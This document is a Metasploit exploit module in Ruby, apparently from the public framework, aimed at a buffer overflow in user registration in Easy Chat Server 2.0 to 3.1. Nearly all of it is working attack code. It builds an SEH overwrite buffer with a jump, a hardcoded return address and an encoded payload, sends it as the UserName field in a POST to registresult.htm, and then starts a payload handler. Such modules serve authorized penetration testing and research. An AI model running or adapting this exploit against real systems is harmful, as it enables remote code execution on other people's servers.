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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Easy Chat Server User Registeration Buffer Overflow (SEH)',
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        'Description' => %q{
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          This module exploits a buffer overflow during user registration in Easy Chat Server software.
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        },
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        'Author' => [
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          'Marco Rivoli', # Metasploit
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          'Aitezaz Mohsin' # POC
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'EDB', '42155' ],
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        ],
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        'Privileged' => true,
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        'Payload' => {
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          'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'Easy Chat Server 2.0 to 3.1', { 'Ret' => 0x100104bc } ],
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        ],
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        'DefaultOptions' => {
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          'RPORT' => 80,
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          'EXITFUNC' => 'thread',
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          'ENCODER' => 'x86/alpha_mixed'
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        },
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        'DisclosureDate' => '2017-10-09',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def exploit
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    sploit = rand_text_alpha_upper(217)
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    sploit << "\xeb\x06\x90\x90"
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    sploit << [target.ret].pack('V')
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    sploit << payload.encoded
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    sploit << rand_text_alpha_upper(200)
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    res = send_request_cgi({
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      'uri' => normalize_uri(URI, 'registresult.htm'),
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      'method' => 'POST',
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      'vars_post' => {
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        'UserName' => sploit,
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        'Password' => 'test',
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        'Password1' => 'test',
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        'Sex' => 1,
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        'Email' => 'x@',
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        'Icon' => 'x.gif',
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        'Resume' => 'xxxx',
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        'cw' => 1,
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        'RoomID' => 4,
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        'RepUserName' => 'admin',
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        'submit1' => 'Register'
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      }
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    })
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    handler
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  end
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end
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